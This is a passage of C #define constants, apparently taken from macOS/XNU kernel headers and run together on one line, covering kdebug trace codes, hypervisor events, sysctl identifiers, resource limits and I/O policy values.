0x4 #define SFI_OFF_TIMER 0x5 #define SFI_ON_TIMER 0x6 #define SFI_WAIT_CANCELED 0x7 #define SFI_PID_SET_MANAGED 0x8 #define SFI_PID_CLEAR_MANAGED 0x9 #define SFI_GLOBAL_DEFER 0xa #define ZALLOC_ZCRAM 0x0 #define RMON_ENABLE_CPUUSAGE_MONITOR 0x001 #define RMON_CPUUSAGE_VIOLATED 0x002 #define RMON_CPUUSAGE_SUSPENDED 0x003 #define RMON_CPUUSAGE_VIOLATED_K32A 0x004 #define RMON_CPUUSAGE_VIOLATED_K32B 0x005 #define RMON_CPUUSAGE_RESUMED 0x006 #define RMON_DISABLE_CPUUSAGE_MONITOR 0x00f #define RMON_ENABLE_CPUWAKES_MONITOR 0x011 #define RMON_CPUWAKES_VIOLATED 0x012 #define RMON_CPUWAKES_VIOLATED_K32A 0x014 #define RMON_CPUWAKES_VIOLATED_K32B 0x015 #define RMON_DISABLE_CPUWAKES_MONITOR 0x01f #define RMON_ENABLE_IO_MONITOR 0x021 #define RMON_LOGWRITES_VIOLATED 0x022 #define RMON_PHYSWRITES_VIOLATED 0x023 #define RMON_LOGWRITES_VIOLATED_K32A 0x024 #define RMON_LOGWRITES_VIOLATED_K32B 0x025 #define RMON_DISABLE_IO_MONITOR 0x02f #define HV_X86_ENTER 0x00 #define HV_X86_ENTER_ERROR 0x01 #define HV_X86_TRAP_TASK 0x02 #define HV_X86_TRAP_THREAD 0x03 #define HV_X86_INTERRUPT_INJECT 0x04 #define HV_X86_INTERRUPT_RECV 0x05 #define HV_X86_INTERRUPT_SEND 0x06 #define HV_X86_IPI_SEND 0x07 #define HV_X86_NMI_INJECT 0x08 #define HV_X86_NMI_SEND 0x09 #define HV_X86_LSC_HIT 0x0a #define HV_X86_LSC_INSERT 0x0b #define HV_X86_LSC_INSERT_IMM32 0x0c #define HV_X86_LSC_INVALID 0x0d #define HV_X86_LSC_INVALIDATE 0x0e #define HV_X86_LSC_MISS 0x0f #define HV_X86_TIMER_CANCEL 0x10 #define HV_X86_TIMER_FIRE 0x11 #define HV_X86_TIMER_SCHEDULE 0x12 #define HV_X86_APIC_ACCESS_EXIT 0x13 #define HV_X86_APIC_WRITE_EXIT 0x14 #define HV_X86_EPT_VIOLATION_EXIT 0x15 #define HV_X86_EXC_NMI_EXIT 0x16 #define HV_X86_HLT_EXIT 0x17 #define HV_X86_IO_EXIT 0x18 #define HV_X86_IRQ_EXIT 0x19 #define HV_X86_IRQ_WND_EXIT 0x1a #define HV_X86_MOV_DR_EXIT 0x1b #define HV_X86_NMI_WND_EXIT 0x1c #define HV_X86_RDMSR_EXIT 0x1d #define HV_X86_RDPMC_EXIT 0x1e #define HV_X86_TPR_THRESHOLD_EXIT 0x1f #define HV_X86_VMX_TIMER_EXPIRED_EXIT 0x20 #define HV_X86_WRMSR_EXIT 0x21 #define HV_X86_VCPU_READ_APIC_TRAP 0x22 #define HV_X86_VCPU_READ_VMCS_TRAP 0x23 #define HV_X86_VCPU_RUN_TRAP 0x24 #define HV_X86_VCPU_RUN_UNTIL_TRAP 0x25 #define HV_X86_VCPU_WRITE_APIC_TRAP 0x26 #define HV_X86_VM_ADDRSPACE_CREATE_TRAP 0x27 #define HV_X86_VM_ADDRSPACE_DESTROY_TRAP 0x28 #define HV_X86_VM_INTR_MSI_TRAP 0x29 #define HV_X86_VM_MAP_TRAP 0x2a #define HV_X86_VM_PROTECT_TRAP 0x2b #define HV_X86_VM_UNMAP_TRAP 0x2c #define HV_X86_TSC_OFFSET_SET 0x2d #define VM_RECLAIM_UPDATE_ACCOUNTING 0x01 #define VM_RECLAIM_ENTRIES 0x02 #define VM_RECLAIM_CHUNK 0x03 #define VM_RECLAIM_ENTRY 0x04 #define VM_RECLAIM_ALL_MEMORY 0x05 #define VM_RECLAIM_ASYNC_MEMORY 0x06 #define VM_RECLAIM_INIT 0x07 #define DBG_NETIP 1 #define DBG_NETARP 2 #define DBG_NETUDP 3 #define DBG_NETTCP 4 #define DBG_NETICMP 5 #define DBG_NETIGMP 6 #define DBG_NETRIP 7 #define DBG_NETOSPF 8 #define DBG_NETISIS 9 #define DBG_NETSNMP 10 #define DBG_NETSOCK 11 #define DBG_NETAARP 100 #define DBG_NETDDP 101 #define DBG_NETNBP 102 #define DBG_NETZIP 103 #define DBG_NETADSP 104 #define DBG_NETATP 105 #define DBG_NETASP 106 #define DBG_NETAFP 107 #define DBG_NETRTMP 108 #define DBG_NETAURP 109 #define DBG_NETIPSEC 128 #define DBG_NETVMNET 129 #define DBG_IOINTC 0 #define DBG_IOWORKLOOP 1 #define DBG_IOINTES 2 #define DBG_IOCLKES 3 #define DBG_IOCMDQ 4 #define DBG_IOMCURS 5 #define DBG_IOMDESC 6 #define DBG_IOPOWER 7 #define DBG_IOSERVICE 8 #define DBG_IOREGISTRY 9 #define DBG_IOPORT 10 #define DBG_IOSTORAGE 32 #define DBG_IONETWORK 33 #define DBG_IOKEYBOARD 34 #define DBG_IOHID 35 #define DBG_IOAUDIO 36 #define DBG_IOSERIAL 37 #define DBG_IOTTY 38 #define DBG_IOSAM 39 #define DBG_IOPARALLELATA 40 #define DBG_IOPARALLELSCSI 41 #define DBG_IOSATA 42 #define DBG_IOSAS 43 #define DBG_IOFIBRECHANNEL 44 #define DBG_IOUSB 45 #define DBG_IOBLUETOOTH 46 #define DBG_IOFIREWIRE 47 #define DBG_IOINFINIBAND 48 #define DBG_IOCPUPM 49 #define DBG_IOGRAPHICS 50 #define DBG_HIBERNATE 51 #define DBG_IOTHUNDERBOLT 52 #define DBG_BOOTER 53 #define DBG_IOAUDIO2 54 #define DBG_IOAFK 55 #define DBG_IOSURFACEPA 64 #define DBG_IOMDPA 65 #define DBG_IODARTPA 66 #define DBG_DRVSTORAGE 1 #define DBG_DRVNETWORK 2 #define DBG_DRVKEYBOARD 3 #define DBG_DRVHID 4 #define DBG_DRVAUDIO 5 #define DBG_DRVSERIAL 7 #define DBG_DRVSAM 8 #define DBG_DRVPARALLELATA 9 #define DBG_DRVPARALLELSCSI 10 #define DBG_DRVSATA 11 #define DBG_DRVSAS 12 #define DBG_DRVFIBRECHANNEL 13 #define DBG_DRVUSB 14 #define DBG_DRVBLUETOOTH 15 #define DBG_DRVFIREWIRE 16 #define DBG_DRVINFINIBAND 17 #define DBG_DRVGRAPHICS 18 #define DBG_DRVSD 19 #define DBG_DRVNAND 20 #define DBG_SSD 21 #define DBG_DRVSPI 22 #define DBG_DRVWLAN_802_11 23 #define DBG_DRVSSM 24 #define DBG_DRVSMC 25 #define DBG_DRVMACEFIMANAGER 26 #define DBG_DRVANE 27 #define DBG_DRVETHERNET 28 #define DBG_DRVMCC 29 #define DBG_DRVACCESSORY 30 #define DBG_SOCDIAGS 31 #define DBG_DRVVIRTIO 32 #define DBG_DRVCELLULAR 33 #define DBG_DRVSPMI 34 #define DBG_DLIL_STATIC 1 #define DBG_DLIL_PR_MOD 2 #define DBG_DLIL_IF_MOD 3 #define DBG_DLIL_PR_FLT 4 #define DBG_DLIL_IF_FLT 5 #define DBG_FSRW 0x1 #define DBG_DKRW 0x2 #define DBG_FSVN 0x3 #define DBG_FSLOOOKUP 0x4 #define DBG_JOURNAL 0x5 #define DBG_IOCTL 0x6 #define DBG_BOOTCACHE 0x7 #define DBG_HFS 0x8 #define DBG_APFS 0x9 #define DBG_SMB 0xA #define DBG_MOUNT 0xB #define DBG_EXFAT 0xE #define DBG_MSDOS 0xF #define DBG_ACFS 0x10 #define DBG_THROTTLE 0x11 #define DBG_DECMP 0x12 #define DBG_VFS 0x13 #define DBG_LIVEFS 0x14 #define DBG_NFS 0x15 #define DBG_CONTENT_PROT 0xCF #define DBG_HFS_UPDATE_ACCTIME 0x01 #define DBG_HFS_UPDATE_MODTIME 0x02 #define DBG_HFS_UPDATE_CHGTIME 0x04 #define DBG_HFS_UPDATE_MODIFIED 0x08 #define DBG_HFS_UPDATE_FORCE 0x10 #define DBG_HFS_UPDATE_DATEADDED 0x20 #define DBG_HFS_UPDATE_MINOR 0x40 #define DBG_HFS_UPDATE_SKIPPED 0x80 #define DBG_VFS_IO_COMPRESSION_STATS 0x1000 #define DBG_BSD_PROC 0x01 #define DBG_BSD_MEMSTAT 0x02 #define DBG_BSD_KEVENT 0x03 #define DBG_BSD_EXCP_SC 0x0C #define DBG_BSD_AIO 0x0D #define DBG_BSD_SC_EXTENDED_INFO 0x0E #define DBG_BSD_SC_EXTENDED_INFO2 0x0F #define DBG_BSD_KDEBUG_TEST 0xFF #define BSD_PROC_EXIT 1 #define BSD_PROC_FRCEXIT 2 #define BSD_PROC_EXEC 3 #define BSD_PROC_EXITREASON_CREATE 4 #define BSD_PROC_EXITREASON_COMMIT 5 #define BSD_MEMSTAT_SCAN 1 #define BSD_MEMSTAT_JETSAM 2 #define BSD_MEMSTAT_JETSAM_HIWAT 3 #define BSD_MEMSTAT_FREEZE 4 #define BSD_MEMSTAT_FREEZE_SCAN 5 #define BSD_MEMSTAT_UPDATE 6 #define BSD_MEMSTAT_IDLE_DEMOTE 7 #define BSD_MEMSTAT_CLEAR_ERRORS 8 #define BSD_MEMSTAT_DIRTY_TRACK 9 #define BSD_MEMSTAT_DIRTY_SET 10 #define BSD_MEMSTAT_DIRTY_CLEAR 11 #define BSD_MEMSTAT_FAST_JETSAM 15 #define BSD_MEMSTAT_COMPACTOR_RUN 16 #define BSD_MEMSTAT_FREEZE_DISABLE 17 #define BSD_MEMSTAT_RELAUNCH_FLAGS 18 #define BSD_KEVENT_KQ_PROCESS_BEGIN 1 #define BSD_KEVENT_KQ_PROCESS_END 2 #define BSD_KEVENT_KQWQ_PROCESS_BEGIN 3 #define BSD_KEVENT_KQWQ_PROCESS_END 4 #define BSD_KEVENT_KQWQ_BIND 5 #define BSD_KEVENT_KQWQ_UNBIND 6 #define BSD_KEVENT_KQWQ_THREQUEST 7 #define BSD_KEVENT_KQWL_PROCESS_BEGIN 8 #define BSD_KEVENT_KQWL_PROCESS_END 9 #define BSD_KEVENT_KQWL_THREQUEST 10 #define BSD_KEVENT_KQWL_THADJUST 11 #define BSD_KEVENT_KQ_REGISTER 12 #define BSD_KEVENT_KQWQ_REGISTER 13 #define BSD_KEVENT_KQWL_REGISTER 14 #define BSD_KEVENT_KNOTE_ACTIVATE 15 #define BSD_KEVENT_KQ_PROCESS 16 #define BSD_KEVENT_KQWQ_PROCESS 17 #define BSD_KEVENT_KQWL_PROCESS 18 #define BSD_KEVENT_KQWL_BIND 19 #define BSD_KEVENT_KQWL_UNBIND 20 #define BSD_KEVENT_KNOTE_ENABLE 21 #define BSD_KEVENT_KNOTE_VANISHED 22 #define DBG_TRACE_DATA 0 #define DBG_TRACE_STRING 1 #define DBG_TRACE_INFO 2 #define DBG_CS_IO 0 #define DBG_SEC_KERNEL 0 #define DBG_SEC_SANDBOX 1 #define DBG_MT_INSTRS_CYCLES 1 #define DBG_MT_DEBUG 2 #define DBG_MT_RESOURCES_PROC_EXIT 3 #define DBG_MT_RESOURCES_THR_EXIT 4 #define DBG_MT_INSTRS_CYCLES_ON_CPU 5 #define DBG_MT_TMPTH 0xfe #define DBG_MT_TMPCPU 0xff #define DBG_MISC_COREBRIGHTNESS 0x01 #define DBG_MISC_VIDEOENG 0x02 #define DBG_EVENT 0x10 #define DBG_MISC_INSTRUMENTS 0x11 #define DBG_MISC_INSTRUMENTSBT 0x12 #define DBG_MISC_RUNLOOP_DETAILS 0x13 #define DBG_MISC_RUNLOOP_BUSY 0x14 #define DBG_MISC_LAYOUT 0x1a #define DBG_BUFFER 0x20 #define DKIO_DONE 0x01 #define DKIO_READ 0x02 #define DKIO_ASYNC 0x04 #define DKIO_META 0x08 #define DKIO_PAGING 0x10 #define DKIO_THROTTLE 0x20 #define DKIO_PASSIVE 0x40 #define DKIO_NOCACHE 0x80 #define DKIO_TIER_MASK 0xF00 #define DKIO_TIER_SHIFT 8 #define DKIO_TIER_UPGRADE 0x1000 #define DBG_APP_LOGINWINDOW 0x03 #define DBG_APP_AUDIO 0x04 #define DBG_APP_SYSTEMUI 0x05 #define DBG_APP_SIGNPOST 0x0A #define DBG_APP_TAL 0x0B #define DBG_APP_APPKIT 0x0C #define DBG_APP_UIKIT 0x0D #define DBG_APP_DFR 0x0E #define DBG_APP_LAYOUT 0x0F #define DBG_APP_COREDATA 0x10 #define DBG_APP_RUNLOOP_BASIC 0x11 #define DBG_APP_RUNLOOP_ADVANCED 0x12 #define DBG_APP_SAMBA 0x80 #define DBG_APP_EOSSUPPORT 0x81 #define DBG_APP_MACEFIMANAGER 0x82 #define DBG_APP_ENTERPRISE 0x83 #define OPEN_THROTTLE_WINDOW 0x1 #define PROCESS_THROTTLED 0x2 #define IO_THROTTLE_DISABLE 0x3 #define IO_TIER_UPL_MISMATCH 0x4 #define IMP_ASSERTION 0x10 #define IMP_BOOST 0x11 #define IMP_MSG 0x12 #define IMP_WATCHPORT 0x13 #define IMP_TASK_SUPPRESSION 0x17 #define IMP_TASK_APPTYPE 0x18 #define IMP_UPDATE 0x19 #define IMP_USYNCH_QOS_OVERRIDE 0x1A #define IMP_DONOR_CHANGE 0x1B #define IMP_MAIN_THREAD_QOS 0x1C #define IMP_SYNC_IPC_QOS 0x1D #define IMP_TASK_POLICY_DARWIN_BG 0x21 #define IMP_TASK_POLICY_IOPOL 0x22 #define IMP_TASK_POLICY_IO 0x23 #define IMP_TASK_POLICY_PASSIVE_IO 0x24 #define IMP_TASK_POLICY_DARWIN_BG_IOPOL 0x27 #define IMP_TASK_POLICY_BOOST 0x29 #define IMP_TASK_POLICY_ROLE 0x2A #define IMP_TASK_POLICY_TERMINATED 0x2C #define IMP_TASK_POLICY_NEW_SOCKETS_BG 0x2D #define IMP_TASK_POLICY_SUP_ACTIVE 0x2E #define IMP_TASK_POLICY_LATENCY_QOS 0x2F #define IMP_TASK_POLICY_THROUGH_QOS 0x30 #define IMP_TASK_POLICY_WATCHERS_BG 0x31 #define IMP_TASK_POLICY_SFI_MANAGED 0x34 #define IMP_TASK_POLICY_ALL_SOCKETS_BG 0x37 #define IMP_TASK_POLICY_BASE_LATENCY_AND_THROUGHPUT_QOS 0x39 #define IMP_TASK_POLICY_OVERRIDE_LATENCY_AND_THROUGHPUT_QOS 0x3A #define IMP_TASK_POLICY_PIDBIND_BG 0x32 #define IMP_TASK_POLICY_QOS_OVERRIDE 0x36 #define IMP_TASK_POLICY_QOS_AND_RELPRIO 0x38 #define IMP_TASK_POLICY_QOS_WORKQ_OVERRIDE 0x3B #define IMP_TASK_POLICY_QOS_PROMOTE 0x3C #define IMP_TASK_POLICY_QOS_KEVENT_OVERRIDE 0x3D #define IMP_TASK_POLICY_QOS_SERVICER_OVERRIDE 0x3E #define IMP_TASK_POLICY_IOTIER_KEVENT_OVERRIDE 0x3F #define IMP_TASK_POLICY_WI_DRIVEN 0x40 #define IMP_HOLD 0x2 #define IMP_DROP 0x4 #define IMP_EXTERN 0x8 #define IMP_BOOSTED 0x1 #define IMP_UNBOOSTED 0x2 #define IMP_MSG_SEND 0x1 #define IMP_MSG_DELV 0x2 #define IMP_UPDATE_TASK_CREATE 0x1 #define IMP_USYNCH_ADD_OVERRIDE 0x0 #define IMP_USYNCH_REMOVE_OVERRIDE 0x1 #define IMP_DONOR_UPDATE_LIVE_DONOR_STATE 0x0 #define IMP_DONOR_INIT_DONOR_STATE 0x1 #define IMP_SYNC_IPC_QOS_APPLIED 0x0 #define IMP_SYNC_IPC_QOS_REMOVED 0x1 #define IMP_SYNC_IPC_QOS_OVERFLOW 0x2 #define IMP_SYNC_IPC_QOS_UNDERFLOW 0x3 #define TURNSTILE_HEAP_OPERATIONS 0x10 #define TURNSTILE_PRIORITY_OPERATIONS 0x20 #define TURNSTILE_FREELIST_OPERATIONS 0x30 #define THREAD_ADDED_TO_TURNSTILE_WAITQ 0x1 #define THREAD_REMOVED_FROM_TURNSTILE_WAITQ 0x2 #define THREAD_MOVED_IN_TURNSTILE_WAITQ 0x3 #define TURNSTILE_ADDED_TO_TURNSTILE_HEAP 0x4 #define TURNSTILE_REMOVED_FROM_TURNSTILE_HEAP 0x5 #define TURNSTILE_MOVED_IN_TURNSTILE_HEAP 0x6 #define TURNSTILE_ADDED_TO_THREAD_HEAP 0x7 #define TURNSTILE_REMOVED_FROM_THREAD_HEAP 0x8 #define TURNSTILE_MOVED_IN_THREAD_HEAP 0x9 #define TURNSTILE_UPDATE_STOPPED_BY_LIMIT 0xa #define THREAD_NOT_WAITING_ON_TURNSTILE 0xb #define TURNSTILE_PRIORITY_CHANGE 0x1 #define THREAD_USER_PROMOTION_CHANGE 0x2 #define TURNSTILE_PREPARE 0x1 #define TURNSTILE_COMPLETE 0x2 #define BANK_ACCOUNT_INFO 0x10 #define BANK_TASK_INFO 0x11 #define ATM_SUBAID_INFO 0x10 #define ATM_GETVALUE_INFO 0x20 #define ATM_UNREGISTER_INFO 0x30 #define BANK_SETTLE_CPU_TIME 0x1 #define BANK_SECURE_ORIGINATOR_CHANGED 0x2 #define BANK_SETTLE_ENERGY 0x3 #define ATM_MIN_CALLED 0x1 #define ATM_LINK_LIST_TRIM 0x2 #define ATM_VALUE_REPLACED 0x1 #define ATM_VALUE_ADDED 0x2 #define ATM_VALUE_UNREGISTERED 0x1 #define ATM_VALUE_DIFF_MAILBOX 0x2 #define DBG_DAEMON_COREDUET 0x1 #define DBG_DAEMON_POWERD 0x2 #define DBG_UMALLOC_EXTERNAL 0x1 #define DBG_UMALLOC_INTERNAL 0x2 #define BSD 199506 #define BSD4_3 1 #define BSD4_4 1 #define NeXTBSD 1995064 #define NeXTBSD4_0 0 #define MAXCOMLEN 16 #define MAXINTERP 64 #define MAXLOGNAME 255 #define NOFILE 256 #define NOGROUP 65535 #define MAXHOSTNAMELEN 256 #define MAXDOMNAMELEN 256 #define PSWP 0 #define PVM 4 #define PINOD 8 #define PRIBIO 16 #define PVFS 20 #define PZERO 22 #define PSOCK 24 #define PWAIT 32 #define PLOCK 36 #define PPAUSE 40 #define PUSER 50 #define MAXPRI 127 #define PRIMASK 0x0ff #define PCATCH 0x100 #define PTTYBLOCK 0x200 #define PDROP 0x400 #define PSPIN 0x800 #define CMASK 0022 #define CBLOCK 64 #define MAXFRAG 8 #define MAXSYMLINKS 32 #define FSHIFT 11 #define LF_NOT_BOOSTED 0 #define LF_BOOSTED 1 #define PSHMNAMLEN 31 #define SHM_RDONLY 0010000 #define SHM_RND 0020000 #define SHMLBA 4096 #define TIOCM_LE 00001 #define TIOCM_DTR 00002 #define TIOCM_RTS 00004 #define TIOCM_ST 00010 #define TIOCM_SR 00020 #define TIOCM_CTS 00040 #define TIOCM_CAR 00100 #define TIOCM_RNG 00200 #define TIOCM_DSR 00400 #define TIOCPKT_DATA 0x00 #define TIOCPKT_FLUSHREAD 0x01 #define TIOCPKT_FLUSHWRITE 0x02 #define TIOCPKT_STOP 0x04 #define TIOCPKT_START 0x08 #define TIOCPKT_NOSTOP 0x10 #define TIOCPKT_DOSTOP 0x20 #define TIOCPKT_IOCTL 0x40 #define TTYDISC 0 #define TABLDISC 3 #define SLIPDISC 4 #define PPPDISC 5 #define CTL_MAXNAME 12 #define CTLTYPE 0xf #define CTLTYPE_NODE 1 #define CTLTYPE_INT 2 #define CTLTYPE_STRING 3 #define CTLTYPE_QUAD 4 #define CTLTYPE_OPAQUE 5 #define CTLFLAG_RD 0x80000000 #define CTLFLAG_WR 0x40000000 #define CTLFLAG_NOLOCK 0x20000000 #define CTLFLAG_ANYBODY 0x10000000 #define CTLFLAG_SECURE 0x08000000 #define CTLFLAG_MASKED 0x04000000 #define CTLFLAG_NOAUTO 0x02000000 #define CTLFLAG_KERN 0x01000000 #define CTLFLAG_LOCKED 0x00800000 #define CTLFLAG_OID2 0x00400000 #define CTLFLAG_EXPERIMENT 0x00100000 #define OID_AUTO_START 100 #define SYSCTL_OID_VERSION 1 #define SYSCTL_SKMEM 1 #define CTL_UNSPEC 0 #define CTL_KERN 1 #define CTL_VM 2 #define CTL_VFS 3 #define CTL_NET 4 #define CTL_DEBUG 5 #define CTL_HW 6 #define CTL_MACHDEP 7 #define CTL_USER 8 #define CTL_MAXID 9 #define KERN_OSTYPE 1 #define KERN_OSRELEASE 2 #define KERN_OSREV 3 #define KERN_VERSION 4 #define KERN_MAXVNODES 5 #define KERN_MAXPROC 6 #define KERN_MAXFILES 7 #define KERN_ARGMAX 8 #define KERN_SECURELVL 9 #define KERN_HOSTNAME 10 #define KERN_HOSTID 11 #define KERN_CLOCKRATE 12 #define KERN_VNODE 13 #define KERN_PROC 14 #define KERN_FILE 15 #define KERN_PROF 16 #define KERN_POSIX1 17 #define KERN_NGROUPS 18 #define KERN_JOB_CONTROL 19 #define KERN_SAVED_IDS 20 #define KERN_BOOTTIME 21 #define KERN_NISDOMAINNAME 22 #define KERN_MAXPARTITIONS 23 #define KERN_KDEBUG 24 #define KERN_UPDATEINTERVAL 25 #define KERN_OSRELDATE 26 #define KERN_NTP_PLL 27 #define KERN_BOOTFILE 28 #define KERN_MAXFILESPERPROC 29 #define KERN_MAXPROCPERUID 30 #define KERN_DUMPDEV 31 #define KERN_IPC 32 #define KERN_DUMMY 33 #define KERN_PS_STRINGS 34 #define KERN_USRSTACK32 35 #define KERN_LOGSIGEXIT 36 #define KERN_SYMFILE 37 #define KERN_PROCARGS 38 #define KERN_NETBOOT 40 #define KERN_SYSV 42 #define KERN_AFFINITY 43 #define KERN_TRANSLATE 44 #define KERN_EXEC 45 #define KERN_AIOMAX 46 #define KERN_AIOPROCMAX 47 #define KERN_AIOTHREADS 48 #define KERN_PROCARGS2 49 #define KERN_COREFILE 50 #define KERN_COREDUMP 51 #define KERN_SUGID_COREDUMP 52 #define KERN_PROCDELAYTERM 53 #define KERN_SHREG_PRIVATIZABLE 54 #define KERN_LOW_PRI_WINDOW 56 #define KERN_LOW_PRI_DELAY 57 #define KERN_POSIX 58 #define KERN_USRSTACK64 59 #define KERN_NX_PROTECTION 60 #define KERN_TFP 61 #define KERN_PROCNAME 62 #define KERN_THALTSTACK 63 #define KERN_SPECULATIVE_READS 64 #define KERN_OSVERSION 65 #define KERN_SAFEBOOT 66 #define KERN_RAGEVNODE 68 #define KERN_TTY 69 #define KERN_CHECKOPENEVT 70 #define KERN_THREADNAME 71 #define KERN_MAXID 72 #define KERN_RAGE_PROC 1 #define KERN_RAGE_THREAD 2 #define KERN_UNRAGE_PROC 3 #define KERN_UNRAGE_THREAD 4 #define KERN_OPENEVT_PROC 1 #define KERN_UNOPENEVT_PROC 2 #define KERN_TFP_POLICY 1 #define KERN_TFP_POLICY_DENY 0 #define KERN_TFP_POLICY_DEFAULT 2 #define KERN_KDEFLAGS 1 #define KERN_KDDFLAGS 2 #define KERN_KDENABLE 3 #define KERN_KDSETBUF 4 #define KERN_KDGETBUF 5 #define KERN_KDSETUP 6 #define KERN_KDREMOVE 7 #define KERN_KDSETREG 8 #define KERN_KDGETREG 9 #define KERN_KDREADTR 10 #define KERN_KDPIDTR 11 #define KERN_KDTHRMAP 12 #define KERN_KDPIDEX 14 #define KERN_KDSETRTCDEC 15 #define KERN_KDGETENTROPY 16 #define KERN_KDWRITETR 17 #define KERN_KDWRITEMAP 18 #define KERN_KDTEST 19 #define KERN_KDREADCURTHRMAP 21 #define KERN_KDSET_TYPEFILTER 22 #define KERN_KDBUFWAIT 23 #define KERN_KDCPUMAP 24 #define KERN_KDCPUMAP_EXT 25 #define KERN_KDSET_EDM 26 #define KERN_KDGET_EDM 27 #define KERN_KDWRITETR_V3 28 #define KERN_PROC_ALL 0 #define KERN_PROC_PID 1 #define KERN_PROC_PGRP 2 #define KERN_PROC_SESSION 3 #define KERN_PROC_TTY 4 #define KERN_PROC_UID 5 #define KERN_PROC_RUID 6 #define KERN_PROC_LCID 7 #define KERN_VFSNSPACE_HANDLE_PROC 1 #define KERN_VFSNSPACE_UNHANDLE_PROC 2 #define KIPC_MAXSOCKBUF 1 #define KIPC_SOCKBUF_WASTE 2 #define KIPC_SOMAXCONN 3 #define KIPC_MAX_LINKHDR 4 #define KIPC_MAX_PROTOHDR 5 #define KIPC_MAX_HDR 6 #define KIPC_MAX_DATALEN 7 #define KIPC_MBSTAT 8 #define KIPC_NMBCLUSTERS 9 #define KIPC_SOQLIMITCOMPAT 10 #define VM_METER 1 #define VM_LOADAVG 2 #define VM_MACHFACTOR 4 #define VM_SWAPUSAGE 5 #define VM_MAXID 6 #define LSCALE 1000 #define HW_MACHINE 1 #define HW_MODEL 2 #define HW_NCPU 3 #define HW_BYTEORDER 4 #define HW_PHYSMEM 5 #define HW_USERMEM 6 #define HW_PAGESIZE 7 #define HW_DISKNAMES 8 #define HW_DISKSTATS 9 #define HW_EPOCH 10 #define HW_FLOATINGPT 11 #define HW_MACHINE_ARCH 12 #define HW_VECTORUNIT 13 #define HW_BUS_FREQ 14 #define HW_CPU_FREQ 15 #define HW_CACHELINE 16 #define HW_L1ICACHESIZE 17 #define HW_L1DCACHESIZE 18 #define HW_L2SETTINGS 19 #define HW_L2CACHESIZE 20 #define HW_L3SETTINGS 21 #define HW_L3CACHESIZE 22 #define HW_TB_FREQ 23 #define HW_MEMSIZE 24 #define HW_AVAILCPU 25 #define HW_TARGET 26 #define HW_PRODUCT 27 #define HW_MAXID 28 #define USER_CS_PATH 1 #define USER_BC_BASE_MAX 2 #define USER_BC_DIM_MAX 3 #define USER_BC_SCALE_MAX 4 #define USER_BC_STRING_MAX 5 #define USER_COLL_WEIGHTS_MAX 6 #define USER_EXPR_NEST_MAX 7 #define USER_LINE_MAX 8 #define USER_RE_DUP_MAX 9 #define USER_POSIX2_VERSION 10 #define USER_POSIX2_C_BIND 11 #define USER_POSIX2_C_DEV 12 #define USER_POSIX2_CHAR_TERM 13 #define USER_POSIX2_FORT_DEV 14 #define USER_POSIX2_FORT_RUN 15 #define USER_POSIX2_LOCALEDEF 16 #define USER_POSIX2_SW_DEV 17 #define USER_POSIX2_UPE 18 #define USER_STREAM_MAX 19 #define USER_TZNAME_MAX 20 #define USER_MAXID 21 #define CTL_DEBUG_NAME 0 #define CTL_DEBUG_VALUE 1 #define CTL_DEBUG_MAXID 20 #define UTF_REVERSE_ENDIAN 0x0001 #define UTF_NO_NULL_TERM 0x0002 #define UTF_DECOMPOSED 0x0004 #define UTF_PRECOMPOSED 0x0008 #define UTF_ESCAPE_ILLEGAL 0x0010 #define UTF_SFM_CONVERSIONS 0x0020 #define PRIO_PROCESS 0 #define PRIO_PGRP 1 #define PRIO_USER 2 #define PRIO_DARWIN_THREAD 3 #define PRIO_DARWIN_PROCESS 4 #define PRIO_MAX 20 #define PRIO_DARWIN_BG 0x1000 #define PRIO_DARWIN_NONUI 0x1001 #define RUSAGE_SELF 0 #define RUSAGE_INFO_V0 0 #define RUSAGE_INFO_V1 1 #define RUSAGE_INFO_V2 2 #define RUSAGE_INFO_V3 3 #define RUSAGE_INFO_V4 4 #define RUSAGE_INFO_V5 5 #define RUSAGE_INFO_V6 6 #define RU_PROC_RUNS_RESLIDE 0x00000001 #define RLIMIT_CPU 0 #define RLIMIT_FSIZE 1 #define RLIMIT_DATA 2 #define RLIMIT_STACK 3 #define RLIMIT_CORE 4 #define RLIMIT_AS 5 #define RLIMIT_MEMLOCK 6 #define RLIMIT_NPROC 7 #define RLIMIT_NOFILE 8 #define RLIM_NLIMITS 9 #define _RLIMIT_POSIX_FLAG 0x1000 #define RLIMIT_WAKEUPS_MONITOR 0x1 #define RLIMIT_CPU_USAGE_MONITOR 0x2 #define RLIMIT_THREAD_CPULIMITS 0x3 #define RLIMIT_FOOTPRINT_INTERVAL 0x4 #define WAKEMON_ENABLE 0x01 #define WAKEMON_DISABLE 0x02 #define WAKEMON_GET_PARAMS 0x04 #define WAKEMON_SET_DEFAULTS 0x08 #define WAKEMON_MAKE_FATAL 0x10 #define CPUMON_MAKE_FATAL 0x1000 #define FOOTPRINT_INTERVAL_RESET 0x1 #define IOPOL_TYPE_DISK 0 #define IOPOL_TYPE_VFS_ATIME_UPDATES 2 #define IOPOL_TYPE_VFS_MATERIALIZE_DATALESS_FILES 3 #define IOPOL_TYPE_VFS_STATFS_NO_DATA_VOLUME 4 #define IOPOL_TYPE_VFS_TRIGGER_RESOLVE 5 #define IOPOL_TYPE_VFS_IGNORE_CONTENT_PROTECTION 6 #define IOPOL_TYPE_VFS_IGNORE_PERMISSIONS 7 #define IOPOL_TYPE_VFS_SKIP_MTIME_UPDATE 8 #define IOPOL_TYPE_VFS_ALLOW_LOW_SPACE_WRITES 9 #define IOPOL_TYPE_VFS_DISALLOW_RW_FOR_O_EVTONLY 10 #define IOPOL_SCOPE_PROCESS 0 #define IOPOL_SCOPE_THREAD 1 #define IOPOL_SCOPE_DARWIN_BG 2 #define IOPOL_DEFAULT 0 #define IOPOL_IMPORTANT 1 #define IOPOL_PASSIVE 2 #define IOPOL_THROTTLE 3 #define IOPOL_UTILITY 4 #define IOPOL_STANDARD 5 #define IOPOL_ATIME_UPDATES_DEFAULT 0 #define IOPOL_ATIME_UPDATES_OFF 1 #define IOPOL_MATERIALIZE_DATALESS_FILES_DEFAULT 0 #define IOPOL_MATERIALIZE_DATALESS_FILES_OFF 1 #define IOPOL_MATERIALIZE_DATALESS_FILES_ON 2 #define IOPOL_VFS_STATFS_NO_DATA_VOLUME_DEFAULT 0 #define IOPOL_VFS_STATFS_FORCE_NO_DATA_VOLUME 1 #define IOPOL_VFS_TRIGGER_RESOLVE_DEFAULT 0 #define IOPOL_VFS_TRIGGER_RESOLVE_OFF 1 #define IOPOL_VFS_CONTENT_PROTECTION_DEFAULT 0 #define IOPOL_VFS_CONTENT_PROTECTION_IGNORE 1 #define 